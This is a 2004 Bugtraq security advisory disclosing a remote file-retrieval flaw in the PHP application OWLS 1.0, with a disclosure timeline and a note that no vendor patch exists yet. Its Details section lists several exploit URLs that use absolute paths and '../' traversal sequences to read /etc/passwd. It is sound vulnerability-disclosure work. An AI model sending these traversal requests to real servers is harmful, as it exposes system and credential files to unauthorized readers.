bugtraq - ZH2004-08SA (security advisory): OWLS 1.0 Remote arbitrary files retrieving

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Date: 18 Feb 2004 09:14:59 -0000
From: ZetaLabs <zetalabs@...e-h.org>
To: bugtraq@...urityfocus.com
Subject: ZH2004-08SA (security advisory): OWLS 1.0 Remote arbitrary files
    retrieving

ZH2004-08SA (security advisory): OWLS 1.0 Remote arbitrary files retrieving

Discovered: 05 january 2004

Vendor contacted: 07 january 2004

Published: 18 february 2004

Name: OWLS 

Affected Systems: 1.0

Issue: Remote file retrieving

Author: G00db0y from Zone-h Security Labs - g00db0y@...e-h.org - zetalabs@...e-h.org

Vendor: http://www.foolsworkshop.com/owls/

Description

***********

Zone-h Security Team has discovered a flaw in OWLS 1.0. There is a vulnerability in the current version of OWLS that allows an attacker to retrieve arbitrary files from the webserver with its priviledges.
"OWLS is a web-based environment for instructors of language to easily create exercises, readings, glossaries, and present media for their students. Once installed on a web server that supports PHP,
instructors can create materials or upload media for presentation to their students through a simple form based interface"

Details

******* 

It's possibile for a remote attacker to retrieve any file from a webserver. Multiple files are affected with this problem.

For example try this:

http://address/owls/glossaries/index.php?file=/etc/passwd

http://address/owls/multiplechoice/index.php?file=../../../../../../../../../../../../../../../etc/passwd&view=print

http://address/owls/readings/index.php?filename=/etc/passwd

http://address/owls/multiplechoice/resultsignore.php?filename=/etc/passwd

http://address/owls/workshop/glossary.php?editfile=../../../../../../../../../../../../../../../etc/passwd

http://address/owls/workshop/newmultiplechoice.php?edit=1&editfile=../../../../../../../../../../../../../../../etc/passwd

Solution:

*********

The vendor has been contacted and a patch was not yet produced.

G00db0y from Zone-h Security Labs - g00db0y@...e-h.org - zetalabs@...e-h.org

http://www.zone-h.org/en/advisories/read/id=3973/